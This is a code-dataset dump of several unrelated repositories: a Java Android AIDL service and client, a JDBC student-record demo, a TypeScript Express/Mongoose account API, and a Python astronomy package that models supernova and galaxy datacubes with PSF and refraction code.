}
9fad2f31098f3855bd7aad4220bbd1da176badfc
[ "Java" ]
12
Java
AlfonsoRodriguezRomero/Resify2
b40faca1c4569a2f6c04aebffb042853b3413967
da04278fa529878ae8293a04bf8d0bc32b4e86d4
refs/heads/master
<repo_name>SAUQU/W6DWNKD<file_sep>/app/src/main/java/com/example/segundoauqui/w6dwnkd/ListAdapter.java package com.example.segundoauqui.w6dwnkd; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import java.util.ArrayList; import java.util.List; public class ListAdapter extends RecyclerView.Adapter<ListAdapter.ViewHolder> { List<String> list = new ArrayList<>(); public ListAdapter(List<String> list) { this.list = list; } @Override public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.array_list_adapter, parent, false); return new ViewHolder(v); } @Override public void onBindViewHolder(ViewHolder holder, int position) { holder.tvName.setText(list.get(position)); } @Override public int getItemCount() { return list.size(); } public class ViewHolder extends RecyclerView.ViewHolder { TextView tvName; public ViewHolder(View itemView) { super(itemView); tvName = (TextView) itemView.findViewById(R.id.tvName); } } }<file_sep>/app/src/main/java/com/example/segundoauqui/w6dwnkd/service/CalService.java package com.example.segundoauqui.w6dwnkd.service; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.os.Process; import android.os.RemoteException; import android.support.annotation.Nullable; import android.util.Log; import com.example.segundoauqui.w6dwnkd.IMyAidlInterface; import java.math.BigInteger; import java.util.ArrayList; import java.util.List; import java.util.Random; public class CalService extends Service { private static final String TAG = "CalService"; private final Random mGenerator = new Random(); List<String> list = new ArrayList<>(); public CalService() { } public CalService(List<String> list) { this.list = list; } @Nullable @Override public IBinder onBind(Intent intent) { Log.i(TAG, "onBind: "); return new IMyAidlInterface.Stub() { @Override public int getPid() throws RemoteException { return Process.myPid(); } @Override public List<String> getRandomData() throws RemoteException { list = new ArrayList<>(); for(int i = 0; i < mGenerator.nextInt(100) ; i++){ list.add(new BigInteger(130, mGenerator).toString(32)); } return list; } }; } }<file_sep>/myapplication/src/main/java/com/example/segundoauqui/w6dwnkd/MainActivity.java package com.example.segundoauqui.w6dwnkd; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.os.RemoteException; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.DefaultItemAnimator; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import java.util.List; public class MainActivity extends AppCompatActivity { List<String> randomStringList; RecyclerView rvRandomStrings; RecyclerView.LayoutManager layoutManager; RecyclerView.ItemAnimator itemAnimator; ListAdapter listAdapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); setTitle("Client App"); rvRandomStrings = (RecyclerView) findViewById(R.id.recycler); layoutManager = new LinearLayoutManager(this); itemAnimator = new DefaultItemAnimator(); rvRandomStrings.setLayoutManager(layoutManager); rvRandomStrings.setItemAnimator(itemAnimator); Intent intent = new Intent(); intent.setComponent(new ComponentName("com.example.segundoauqui.w6dwnkd","com.example.segundoauqui.w6dwnkd.service.CalService")); bindService(intent,serviceConnection, Context.BIND_AUTO_CREATE); } ServiceConnection serviceConnection = new ServiceConnection() { private IMyAidlInterface iCalService; @Override public void onServiceConnected(ComponentName componentName, IBinder service) { iCalService = IMyAidlInterface.Stub.asInterface(service); try { randomStringList = iCalService.getRandomData(); listAdapter = new ListAdapter(randomStringList); rvRandomStrings.setAdapter(listAdapter); listAdapter.notifyDataSetChanged(); } catch (RemoteException e) { e.printStackTrace(); } } @Override public void onServiceDisconnected(ComponentName componentName) { unbindService(serviceConnection); } }; @Override protected void onDestroy() { super.onDestroy(); unbindService(serviceConnection); } }
48665fedf7a638b0653fd62f4c5ebbf0aa420128
[ "Java" ]
3
Java
SAUQU/W6DWNKD
5f8d770a6f734bc917d51ed2569beacdcee51a18
1e9d4ccbb9e0434749a23217ed84cad43a23d2b2
refs/heads/master
<repo_name>aaabeck/SIW<file_sep>/src/it/uniroma3/model/MainJDBC.java package it.uniroma3.model; import java.util.Calendar; import java.util.Date; import org.apache.log4j.Logger; import it.uniroma3.persistence.StudenteDao; import it.uniroma3.persistence.StudenteDaoJDBC; public class MainJDBC { final static Logger logger = Logger.getLogger(MainJDBC.class); public static void main(String args[]) { Calendar cal = Calendar.getInstance(); cal.set(1995, Calendar.MARCH, 21); // // 21 marzo 1995 Date date1 = cal.getTime(); cal.set(1996, Calendar.APRIL, 12); // 12 aprile 1996 Date date2 = cal.getTime(); cal.set(1998, Calendar.OCTOBER, 1); // 1 ottobre 1998 Date date3 = cal.getTime(); StudenteDao dao = new StudenteDaoJDBC(); Studente studente1 = new Studente(); studente1.setCognome("Rossi"); studente1.setNome("Mario"); studente1.setMatricola("00000001"); studente1.setDataNascita(date1); Studente studente2 = new Studente(); studente2.setCognome("Verdi"); studente2.setNome("Anna"); studente2.setMatricola("00000002"); studente2.setDataNascita(date2); Studente studente3 = new Studente(); studente3.setCognome("Bianchi"); studente3.setNome("Antonio"); studente3.setMatricola("00000003"); studente3.setDataNascita(date3); //CREATE dao.save(studente1); dao.save(studente2); dao.save(studente3); //RETRIEVE System.out.println("Retrieve: id = 01"); Studente studenteFromDb = dao.findByPrimaryKey("00000001"); System.out.println(studenteFromDb); System.out.println("Retrieve: all"); for(Studente s : dao.findAll()) { System.out.println(s); } //UPDATE System.out.println("Update: cambio nome a prodotto1"); studente1.setNome("Antonella"); dao.update(studente1); System.out.println("Retrieve: all"); for(Studente s : dao.findAll()) { System.out.println(s); } //DELETE System.out.println("Delete: id = 01"); dao.delete(studente1); System.out.println("Retrieve: all"); for(Studente s : dao.findAll()) { System.out.println(s); } } }
bbdaeb344dad64758862c35591d3f9a65018047d
[ "Java" ]
1
Java
aaabeck/SIW
1142fbb2a7ae1d36921a8f276e3a3cf250f82c4f
a1ad8d69caa412d6bd553143676fd03fb42cac4b
refs/heads/master
<repo_name>vibe-projects/OTS-backend<file_sep>/tsconfig.json { "compilerOptions": { "target": "es5", /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */ "module": "commonjs", "outDir": "./dist", /* Specify what module code is generated. */ "strict": true, "esModuleInterop": true, /* Emit additional JavaScript to ease support for importing CommonJS modules. This enables `allowSyntheticDefaultImports` for type compatibility. */ "sourceRoot": "./src", "inlineSourceMap": true } } <file_sep>/README.md # OTS-backend Prerequisite Install docker desktop application How to install mongodb to Docker : https://phumipatc.medium.com/how-to-install-mongodb-to-docker-f17cec2b1f8f -----> ( test for docker installation at Powershell by inputing docker ps ) Contrainer is show ( docker run already ) Step to install mongodb on docker (inside the root folder -> OTS-backend) $ docker pull mongo $ docker run --name backend-OTS -p 27017:27017 mongo Setting up a project (in typescript) $ yarn install Adds all the modules inside package.json $ yarn run watch Build and run our application. Output ![image](https://user-images.githubusercontent.com/84713330/136276348-27dbc60a-4ea6-4b90-b202-4ba1954aa0bf.png) <file_sep>/src/account.ts import mongoose from "mongoose"; const uri: string = "mongodb://127.0.0.1:27017/local"; mongoose.connect(uri, (err: any) => { if (err) { console.log(err.message); } else { console.log("Successfully Connected!"); } }); const user_type_list = ['admin', 'tutor', 'student', 'parent', 'guest', 'super_admin'] as const; export interface IAccount extends mongoose.Document { username: string, password: string, email: string, user_type: typeof user_type_list } export const AccountSchema = new mongoose.Schema({ username: { type: String, required: true }, password: { type: String, required: true }, email: { type: String, required: true }, user_type: { type: String, required: true } }); const Account = mongoose.model<IAccount>("Account", AccountSchema); export default Account;<file_sep>/src/app.ts import express, { Request, Response } from "express"; import * as accountController from "./controllers/accountController"; // Our Express APP config const app = express(); app.use(express.json()); app.set("port", process.env.PORT || 3000); // API Endpoints app.get("/", (req: Request, res: Response) => res.send("hi")); app.get("/user/:id", accountController.getUser); const server = app.listen(app.get("port"), () => { console.log("App is running on http://localhost:%d", app.get("port")); });<file_sep>/src/controllers/accountController.ts // controllers/accountController.ts import { Request, Response } from "express"; import Account from "./../account"; //all the api for account will be implemented here export let getUser = (req: Request, res: Response) => { let account = Account.findById(req.params.id, (err: any, acount: any) => { if (err) { res.send(err); } else { res.send(account); } }); };
5de56a2b81be078122693e7ef0e75f7a1b48abfb
[ "Markdown", "TypeScript", "JSON with Comments" ]
5
JSON with Comments
vibe-projects/OTS-backend
5de86b17341bc409bb8210f979a971f31d7d35a8
eb0c484e2343e5a86730e7cb8feabd2b83caf514
refs/heads/master
<repo_name>Sauloleocadio/desafioFrontEndBossaBox<file_sep>/src/pages/Main/index.js import React from "react"; import { FaPlus, FaWindowClose } from "react-icons/fa"; import { Header, Container, Form, SubmitButton, List, DeleteButton } from "./styles"; function Main() { return ( <> <Header> <p>VUTTR</p> <h1>Very Useful Tools to Remember</h1> </Header> <Container> <Form> <input type="text" placeholder="search" /> <input type="checkbox" /> <span>search in tags only</span> <SubmitButton> <h1> ADD TOOLS <FaPlus size={10} /> </h1> </SubmitButton> </Form> <List> <DeleteButton> Remove <FaWindowClose size={14} /> </DeleteButton> <span></span> </List> </Container> </> ); } export default Main; /* <a href={}>Link</a> */
63c1b5e6213b3614ccdb5a3cf091e543f63be0af
[ "JavaScript" ]
1
JavaScript
Sauloleocadio/desafioFrontEndBossaBox
498ea9a1f0316ce3eb5dc3edfbed9f43d297c451
41721a0a33431cb0ce28dc0d0fec523897869596
refs/heads/master
<file_sep>// // ViewController.swift // Loading App // // Created by <NAME> on 10/17/19. // Copyright © 2019 Mazjap Co Technologies. All rights reserved. // import UIKit import Loading_UI class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view. } } <file_sep>// // LoadingUI.swift // Loading UI // // Created by <NAME> on 10/17/19. // Copyright © 2019 Mazjap Co Technologies. All rights reserved. // import Foundation
a4de99fdc4e28eda7e3c7d45bbfb8174e361e309
[ "Swift" ]
2
Swift
mazjap/ios-module-project-creating-frameworks
9974416f15a6a5d93574ea4d1026d85fe5d14489
2792fc77be91532130631eb1f8d6df7dda21fa01
refs/heads/master
<repo_name>silky/ddtpy<file_sep>/ddtpy/plotting.py from __future__ import print_function, division import numpy as np from matplotlib import pyplot as plt from matplotlib.ticker import NullLocator __all__ = ["plot_timeseries"] BAND_LIMITS = {'U': (3400., 3900.), 'B': (4102., 5100.), 'V': (6289., 7607.)} STAMP_SIZE = 1.5 def plot_timeseries(data, model=None, band='B'): """Return a figure showing data and model. Parameters ---------- data : DDTData model : DDTModel band : str """ # one column for each data epoch, plus 2 extras for model ncol = data.nt + 2 nrow = 4 figsize = (STAMP_SIZE * ncol, STAMP_SIZE * nrow) fig = plt.figure(figsize=figsize) # upper and lower wavelength limits wmin, wmax = BAND_LIMITS[band] # plot model, if given if model is not None: ax = plt.subplot2grid((nrow, ncol), (0, 0), rowspan=2, colspan=2) mask = (model.wave > wmin) & (model.wave < wmax) image = np.average(model.gal[mask, :, :], axis=0) ax.imshow(image, vmin=image.min(), vmax=image.max(), cmap='Greys', interpolation='nearest', origin='lower') ax.xaxis.set_major_locator(NullLocator()) ax.yaxis.set_major_locator(NullLocator()) # compute all images ahead of time so that we can set vmin, vmax # the same for all. wmin, wmax = BAND_LIMITS[band] mask = (data.wave > wmin) & (data.wave < wmax) images = np.average(data.data[:, mask, :, :], axis=1) # set limits all the same, or not #vmin = images.min() #vmax = images.max() vmin, vmax = None, None # compute model sampled to data frame predictions = np.empty_like(images) for i_t in range(data.nt): m = model.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='all') predictions[i_t, :, :] = np.average(m[mask, :, :], axis=0) vmin, vmax = np.zeros(data.nt), np.zeros(data.nt) for i_t in range(data.nt): ax = plt.subplot2grid((nrow, ncol), (0, i_t + 2)) vmin[i_t] = np.array([images[i_t], predictions[i_t], images[i_t]-predictions[i_t]]).min() vmax[i_t] = np.array([images[i_t], predictions[i_t], images[i_t]-predictions[i_t]]).max() ax.imshow(images[i_t], vmin=vmin[i_t], vmax=vmax[i_t], cmap='Greys', interpolation='nearest', origin='lower') ax.xaxis.set_major_locator(NullLocator()) ax.yaxis.set_major_locator(NullLocator()) # model plot for i_t in range(data.nt): ax = plt.subplot2grid((nrow, ncol), (1, i_t + 2)) ax.imshow(predictions[i_t], vmin=vmin[i_t], vmax=vmax[i_t], cmap='Greys', interpolation='nearest', origin='lower') ax.xaxis.set_major_locator(NullLocator()) ax.yaxis.set_major_locator(NullLocator()) # residuals for i_t in range(data.nt): ax = plt.subplot2grid((nrow, ncol), (2, i_t + 2)) ax.imshow(images[i_t] - predictions[i_t], vmin=vmin[i_t], vmax=vmax[i_t], cmap='Greys', interpolation='nearest', origin='lower') ax.xaxis.set_major_locator(NullLocator()) ax.yaxis.set_major_locator(NullLocator()) fig.subplots_adjust(left=0.001, right=0.999, bottom=0.02, top=0.98, hspace=0.01, wspace=0.01) return fig def plot_wave_slices(data, model, nt, lambdas = [0, 100,200,300,400,500,600,700]): """Plot data, model and residual for a single epoch at a range of wavelength slices""" ncol = len(lambdas) nrow = 3 figsize = (STAMP_SIZE * ncol, STAMP_SIZE * nrow) fig = plt.figure(figsize=figsize) fig, ax = plt.subplots(nrow, ncol) m = model.evaluate(nt, data.xctr[nt], data.yctr[nt], (data.ny, data.nx), which='all') residual = data.data[nt] - m for s, l in enumerate(lambdas): data_slice = data.data[nt,l,:,:] model_slice = m[l] residual_slice = data_slice - model_slice vmin = np.array([data_slice,model_slice,residual_slice]).min() vmax = np.array([data_slice,model_slice,residual_slice]).max() ax[0,s].imshow(data_slice, vmin=vmin, vmax=vmax, interpolation='nearest') ax[1,s].imshow(model_slice, vmin=vmin, vmax=vmax, interpolation='nearest') im = ax[2,s].imshow(residual_slice, interpolation='nearest', vmin = vmin, vmax=vmax) ax[0,s].xaxis.set_major_locator(NullLocator()) ax[0,s].yaxis.set_major_locator(NullLocator()) ax[1,s].xaxis.set_major_locator(NullLocator()) ax[1,s].yaxis.set_major_locator(NullLocator()) ax[2,s].xaxis.set_major_locator(NullLocator()) ax[2,s].yaxis.set_major_locator(NullLocator()) #cb = fig.colorbar(im, orientation='horizontal') #[l.set_rotation(45) for l in cb.ax.get_xticklabels()] fig.subplots_adjust(left=0.001, right=0.999, bottom=0.02, top=0.98, hspace=0.01, wspace=0.01) return fig <file_sep>/docs/index.rst DDTPy ===== Fitting Algorithm ----------------- The following steps are done in `ddtpy.main`: **Loading:** - Load data - Load PSF model and use it to initialze the full model. **Initial heuristic "guessing":** - Make a heuristic guess at the sky spectrum for all the epochs. - calculate a rough "average" galaxy model spectrum for just the final refs by subtracting off the sky guess and averaging over spatial coordinates and epochs. **Fit model to final refs:** - Fit the 3-d galaxy model to just the "master" final ref, keeping the sky fixed. The model is defined in the frame of the master final ref. - Fit all final ref positions with respect to the "master" final ref. - Recalculate the sky in all final refs - Fit the 3-d galaxy model to all final refs simultaneously, keeping the relative positions fixed. - TODO: loop over this procedure **Next part:** - Fit all the things. Reference/API ------------- .. autosummary:: :toctree: api ddtpy.main **Data structures** .. autosummary:: :toctree: api ddtpy.DDTData ddtpy.DDTModel **I/O** .. autosummary:: :toctree: api ddtpy.read_dataset ddtpy.read_select_header_keys **Fitting** .. autosummary:: :toctree: api ddtpy.guess_sky ddtpy.fit_sky ddtpy.fit_sky_and_sn ddtpy.fit_model ddtpy.fit_position **ADR and PSF utilities** .. autosummary:: :toctree: api ddtpy.paralactic_angle ddtpy.differential_refraction ddtpy.params_from_gs ddtpy.gaussian_plus_moffat_psf ddtpy.gaussian_plus_moffat_psf_4d **Utilities** .. autosummary:: :toctree: api ddtpy.fft_shift_phasor_2d **Plotting** .. autosummary:: :toctree: api ddtpy.plot_timeseries Indices and tables ------------------ * :ref:`genindex` * :ref:`modindex` * :ref:`search` <file_sep>/ddtpy/model.py from __future__ import print_function import numpy as np from numpy.fft import fft2, ifft2 from .psf import gaussian_plus_moffat_psf_4d from .utils import fft_shift_phasor_2d __all__ = ["DDTModel"] # TODO: take out these asserts eventually def _assert_real(x): if np.all((x.imag == 0.) & (x.real == 0.)): return absfrac = np.abs(x.imag / x.real) mask = absfrac < 1.e-4 if not np.all(mask): print(x.imag[~mask]) print(x.real[~mask]) raise RuntimeError("array not real: max imag/real = {:g}" .format(np.max(absfrac))) class DDTModel(object): """This class is the equivalent of everything else that isn't data in the Yorick version. Parameters ---------- nt : int Model dimension in time. wave : np.ndarray One-dimensional array of wavelengths in angstroms. Should match data. psf_ellipticity, psf_alpha : np.ndarray (2-d) Parameters characterizing the PSF at each time, wavelength. Shape of both must be (nt, len(wave)). adr_dx, adr_dy : np.ndarray (2-d) Atmospheric differential refraction in x and y directions, in spaxels, relative to reference wavelength. mu_xy : float Hyperparameter in spatial (x, y) coordinates. Used in penalty function when fitting model. mu_wave : float Hyperparameter in wavelength coordinate. Used in penalty function when fitting model. sn_x_init, sn_y_init : float Initial SN position in model coordinates. skyguess : np.ndarray (2-d) Initial guess at sky. Sky is a spatially constant value, so the shape is (nt, len(wave)). mean_gal_spec : np.ndarray (1-d) Rough guess at average galaxy spectrum for use in regularization. Shape is (len(wave),). Notes ----- The spatial coordinate system of the model is fixed to be aligned with the master reference of the data. The "spaxel size" of the model is fixed to be the same as the instrument. """ MODEL_SHAPE = (32, 32) def __init__(self, nt, wave, psf_ellipticity, psf_alpha, adr_dx, adr_dy, mu_xy, mu_wave, sn_x_init, sn_y_init, skyguess, mean_gal_spec): ny, nx = self.MODEL_SHAPE nw, = wave.shape # Model shape self.nt = nt self.nw = nw self.ny = ny self.nx = nx # consistency checks on inputs s = (nt, nw) if not (psf_ellipticity.shape == s): raise ValueError("psf_ellipticity has wrong shape") if not (psf_alpha.shape == s): raise ValueError("psf_alpha has wrong shape") if not (adr_dx.shape == adr_dy.shape == s): raise ValueError("adr_dx and adr_dy shape must be (nt, nw)") # Coordinates of model grid array_xctr = (nx - 1) / 2.0 array_yctr = (ny - 1) / 2.0 self.xcoords = np.arange(nx, dtype=np.float64) - array_xctr self.ycoords = np.arange(ny, dtype=np.float64) - array_yctr # wavelength grid of the model (fixed; should be same as data) self.wave = wave # ADR part of the model (fixed) self.adr_dx = adr_dx self.adr_dy = adr_dy # PSF part of the model (fixed) self.psf = gaussian_plus_moffat_psf_4d(self.MODEL_SHAPE, array_xctr, array_yctr, psf_ellipticity, psf_alpha) # We now shift the PSF so that instead of being exactly # centered in the array, it is exactly centered on the lower # left pixel. We do this for using the PSF as a convolution kernel: # For convolution in Fourier space, the (0, 0) element of the kernel # is effectively the "center." # Note that this shifting is different than simply # creating the PSF centered at the lower left pixel to begin # with, due to wrap-around. self.conv = np.empty_like(self.psf) fshift = fft_shift_phasor_2d(self.MODEL_SHAPE, (-array_xctr, -array_yctr)) for j in range(self.psf.shape[0]): for i in range(self.psf.shape[1]): tmp = self.psf[j, i, :, :] self.conv[j, i, :, :] = ifft2(fft2(tmp) * fshift).real # hyperparameters self.mu_xy = mu_xy self.mu_wave = mu_wave # Galaxy, sky, and SN part of the model self.gal = np.zeros((nw, ny, nx)) self.galprior = np.zeros((nw, ny, nx)) self.mean_gal_spec = mean_gal_spec self.sky = skyguess self.sn = np.zeros((nt, nw)) # SN spectrum at each epoch self.sn_x_init = sn_x_init # position of SN in model coordinates self.sn_y_init = sn_y_init self.sn_x = sn_x_init self.sn_y = sn_y_init self.eta = np.ones(nt) # eta is transmission; not currently used. def evaluate(self, i_t, xctr, yctr, shape, which='galaxy'): """Evalute the model on a grid for a single epoch. Parameters ---------- i_t : int Epoch index. shape : tuple Two integers giving size of output array (ny, nx). xctr, yctr : float Center of output array in model coordinates. which : {'galaxy', 'snscaled', 'all'} Which part of the model to evaluate: galaxy-only or SN scaled to flux of 1.0? Returns ------- x : np.ndarray (3-d) Shape is (nw, len(ycoords), len(xcoords)). """ # min and max coordinates requested (inclusive) ny, nx = shape xmin = xctr - (nx - 1) / 2. xmax = xctr + (nx - 1) / 2. ymin = yctr - (ny - 1) / 2. ymax = yctr + (ny - 1) / 2. if (xmin < self.xcoords[0] or xmax > self.xcoords[-1] or ymin < self.ycoords[0] or ymax > self.ycoords[-1]): raise ValueError("requested coordinates out of model bounds") # Shift needed to put the model onto the requested coordinates. xshift = -(xmin - self.xcoords[0]) yshift = -(ymin - self.ycoords[0]) # shift needed to put SN in right place in the model fshift_sn = fft_shift_phasor_2d(self.MODEL_SHAPE, (self.sn_y, self.sn_x)) conv = self.conv[i_t] out = np.empty((self.nw, self.ny, self.nx), dtype=np.float64) for j in range(self.nw): fshift = fft_shift_phasor_2d(self.MODEL_SHAPE, (yshift + self.adr_dy[i_t, j], xshift + self.adr_dx[i_t, j])) if which == 'galaxy': tmp = ifft2(fft2(conv[j, :, :]) * fshift * fft2(self.gal[j, :, :])) _assert_real(tmp) out[j, :, :] = tmp.real elif which == 'snscaled': tmp = ifft2(fft2(self.psf[i_t, j, :, :]) * fshift_sn * fshift) _assert_real(tmp) out[j, :, :] = tmp.real elif which == 'all': tmp = ifft2( fshift * (fft2(self.gal[j, :, :]) * fft2(conv[j, :, :]) + self.sn[i_t,j] * fshift_sn * fft2(self.psf[i_t,j,:,:]))) _assert_real(tmp) out[j, :, :] = tmp.real + self.sky[i_t, j] # Return a slice that matches the data. return out[:, 0:ny, 0:nx] def gradient_helper(self, i_t, x, xctr, yctr, shape): """Not sure exactly what this does yet. Parameters ---------- i_t : int Epoch index. x : np.ndarray (3-d) Same shape as *data* for single epoch (nw, ny, nx). xcoords : np.ndarray (1-d) ycoords : np.ndarray (1-d) Returns ------- x : np.ndarray (3-d) Shape is (nw, len(ycoords), len(xcoords)). """ # min and max coordinates requested (inclusive) ny, nx = shape xmin = xctr - (nx - 1) / 2. xmax = xctr + (nx - 1) / 2. ymin = yctr - (ny - 1) / 2. ymax = yctr + (ny - 1) / 2. if (xmin < self.xcoords[0] or xmax > self.xcoords[-1] or ymin < self.ycoords[0] or ymax > self.ycoords[-1]): raise ValueError("requested coordinates out of model bounds") xshift = -(xmin - self.xcoords[0]) yshift = -(ymin - self.ycoords[0]) # create output array out = np.zeros((self.nw, self.ny, self.nx), dtype=np.float64) out[:, :x.shape[1], :x.shape[2]] = x conv = self.conv[i_t] for j in range(self.nw): fshift = fft_shift_phasor_2d(self.MODEL_SHAPE, (yshift + self.adr_dy[i_t,j], xshift + self.adr_dx[i_t,j])) tmp = ifft2(np.conj(fft2(conv[j, :, :]) * fshift) * fft2(out[j, :, :])) _assert_real(tmp) out[j, :, :] = tmp.real return out <file_sep>/ddtpy/data.py import numpy as np import fitsio __all__ = ["read_select_header_keys", "read_dataset", "DDTData"] SELECT_KEYS = ["OBJECT", "RA", "DEC", "EXPTIME", "EFFTIME", "AIRMASS", "LATITUDE", "HA", "TEMP", "PRESSURE", "CHANNEL", "PARANG", "DDTXP", "DDTYP"] def read_select_header_keys(filename): """Read select header entries from a FITS file. Parameters ---------- filename : str FITS filename. Returns ------- d : dict Dictionary containing all select keys. Values are None for keys not found in the header. """ f = fitsio.FITS(filename, "r") fullheader = f[0].read_header() f.close() return {key: fullheader.get(key, None) for key in SELECT_KEYS} def read_datacube(filename): """Read a two-HDU FITS file into memory. Assumes 1st axis is data and 2nd axis is variance. Returns ------- data : 3-d numpy array weight : 3-d numpy array wave : 1-d numpy array Wavelength coordinates along spectral (3rd) axis. """ with fitsio.FITS(filename, "r") as f: header = f[0].read_header() data = f[0].read() variance = f[1].read() assert data.shape == variance.shape n = header["NAXIS3"] crpix = header["CRPIX3"]-1.0 # FITS is 1-indexed, numpy as 0-indexed crval = header["CRVAL3"] cdelt = header["CDELT3"] wave = crval + cdelt * (np.arange(n) - crpix) weight = 1. / variance # TODO: check for variance <=0 - set weight to zero. # (variance = Inf is OK - weight becomes 0) # TODO: check for NaN in weight, data, set weight to zero in these cases. # check for Inf in data? set data, weight to zero? return data, weight, wave def read_dataset(filenames): """Read multiple datacubes into 4-d arrays. Parameters ---------- filenames : list of str FITS filenames. Returns ------- data : `numpy.ndarray` 4-D array with axes (epoch, wavelength, y, x). weight : `numpy.ndarray` 4-D array giving weight of each pixel in data. wave : `numpy.ndarray` 1-D array giving wavelength grid""" data, weight, wave = read_datacube(filenames[0]) # Initialize output arrays. shape = (len(filenames),) + data.shape alldata = np.empty(shape, dtype=np.float) allweight = np.empty(shape, dtype=np.float) alldata[0] = data allweight[0] = weight for i, filename in enumerate(filenames[1:]): data, weight, _ = read_datacube(filename) alldata[i+1] = data allweight[i+1] = weight return alldata, allweight, wave class DDTData(object): """A container for data with some consistency checks. Parameters ---------- data : ndarray (4-d) weight : ndarray (4-d) wave : ndarray (1-d) xctr_init, yctr_init : ndarray 1-d arrays of length `nt` giving the position of the center of the data array in model coordinates, which are fixed to the master final ref. is_final_ref : ndarray (bool) master_final_ref : int header : dict """ def __init__(self, data, weight, wave, xctr_init, yctr_init, is_final_ref, master_final_ref, header): # Consistency checks if data.shape != weight.shape: raise ValueError("shape of weight and data must match") if len(wave) != data.shape[1]: raise ValueError("length of wave must match data axis=1") if not (len(xctr_init) == len(yctr_init) == data.shape[0]): raise ValueError("length of xctr_init and yctr_init must match " "data axis 0") if len(is_final_ref) != data.shape[0]: raise ValueError("length of is_final_ref and data must match") self.data = data self.weight = weight self.wave = wave self.nt, self.nw, self.ny, self.nx = self.data.shape self.xctr_init = np.copy(xctr_init) self.yctr_init = np.copy(yctr_init) self.xctr = np.copy(xctr_init) self.yctr = np.copy(yctr_init) self.is_final_ref = is_final_ref self.master_final_ref = master_final_ref self.header = header <file_sep>/ddtpy/psf.py from __future__ import division import math import numpy as np __all__ = ["params_from_gs", "gaussian_plus_moffat_psf", "gaussian_plus_moffat_psf_4d"] def params_from_gs(es_psf, wave, wave_ref): """Return arrays of ellipticity, alpha PSF parameters. Parameters ---------- es_psf : 2-d array wave : 1-d array wave_ref : float Returns ------- ellipticity : 2-d array alpha : 2-d array """ relwave = wave / wave_ref # one ellipticity per time (constant across wavelength) ellipticity = es_psf[:, 0] a0 = es_psf[:, 1] a1 = es_psf[:, 2] a2 = es_psf[:, 3] # duplicate ellipticity for each wavelength ellipticity = np.repeat(ellipticity[:, np.newaxis], len(wave), axis=1) relwave = wave / wave_ref - 1. alpha = (a0[:, np.newaxis] + a1[:, np.newaxis] * relwave + a2[:, np.newaxis] * relwave**2) return ellipticity, alpha def gaussian_plus_moffat_psf_4d(shape, x0, y0, ellipticity, alpha, angle=None): """Create a 2-d PSF for a 2-d array of parameters. Parameters ---------- shape : 2-tuple (ny, nx) shape of spatial component of output array. x0, y0 : float Center of PSF in array coordinates. (0, 0) = centered on lower left pixel. ellipticity : 2-d array alpha : 2-d array Returns ------- psf : 4-d array Shape is (nt, nw, ny, nx) where (nt, nw) is the shape of ellipticity and alpha. """ assert ellipticity.shape == alpha.shape nt, nw = ellipticity.shape ny, nx = shape if angle is None: angle = np.zeros(nt) # allocate output array psf = np.empty((nt, nw, ny, nx), dtype=np.float) for i_t in range(nt): for i_w in range(nw): slicepsf = gaussian_plus_moffat_psf(shape, x0, y0, ellipticity[i_t, i_w], alpha[i_t, i_w], angle[i_t]) slicepsf /= np.sum(slicepsf) # normalize array sum to 1.0. psf[i_t, i_w, :, :] = slicepsf return psf def gaussian_plus_moffat_psf(shape, x0, y0, ellipticity, alpha, angle): """Evaluate a gaussian+moffat function on a 2-d grid. Parameters ---------- shape : 2-tuple (ny, nx) of output array. x0, y0 : float Center of PSF in array coordinates. (0, 0) = centered on lower left pixel. ellipticity: float alpha : float angle : float Returns ------- psf : 2-d array The shape will be (len(y), len(x)) """ ny, nx = shape alpha = abs(alpha) ellipticity = abs(ellipticity) # Correlated params s1 = 0.215 s0 = 0.545 b1 = 0.345 b0 = 1.685 e1 = 0.0 e0 = 1.04 # Moffat sigma = s0 + s1*alpha beta = b0 + b1*alpha eta = e0 + e1*alpha # In the next line, output arrays are 2-d, both with shape (ny, nx). # dx, for example, gives the dx value at each point in the grid. dx, dy = np.meshgrid(np.arange(nx) - x0, np.arange(ny) - y0) # Offsets in rotated coordinate system (dx', dy') dx_prime = dx * math.cos(angle) - dy * math.sin(angle) dy_prime = dx * math.sin(angle) + dy * math.cos(angle) r2 = dx_prime**2 + ellipticity * dy_prime**2 # Gaussian, Moffat gauss = np.exp(-r2 / (2. * sigma**2)) moffat = (1. + r2 / alpha**2)**(-beta) # scalars normalization norm_moffat = 1./math.pi * math.sqrt(ellipticity) * (beta-1.) / alpha**2 norm_gauss = 1./math.pi * math.sqrt(ellipticity) / (2. * eta * sigma**2) norm_psf = 1. / (1./norm_moffat + eta * 1./norm_gauss) return norm_psf * (moffat + eta*gauss) <file_sep>/ddtpy/adr.py import math import numpy as np MMHG_PER_MBAR = 760./1013.25 ARCSEC_PER_RADIAN = 206265. __all__ = ["differential_refraction", "paralactic_angle"] def paralactic_angle(airmass, ha, dec, tilt, lat): """Return paralactic angle in radians, including MLA tilt Parameters ---------- airmass : 1-d array ha : 1-d array dec : 1-d array tilt : float lat : float Earth latitude of instrument in radians. """ cos_z = 1./airmass # TODO: original Yorick code says this breaks when ha = 0 # but not clear to me why that would be. sin_z = np.sqrt(1. - cos_z**2) sin_paralactic = np.sin(ha) * np.cos(lat) / sin_z cos_paralactic = (np.sin(lat)*np.cos(dec) - np.cos(lat)*np.sin(dec)*np.cos(ha)) / sin_z # treat individually cases where airmass == 1. mask = (sin_z == 0.) if np.any(mask): sin_paralactic[mask] = 0. cos_paralactic[mask] = 1. # add the tilt # alpha = paralactic - tilt sin_xy = sin_paralactic*math.cos(tilt) - math.sin(tilt)*cos_paralactic cos_xy = cos_paralactic*math.cos(tilt) + math.sin(tilt)*sin_paralactic # Consistency test (TODO: Move this to tests?) # Is this test correct? shouldn't sin^2 + 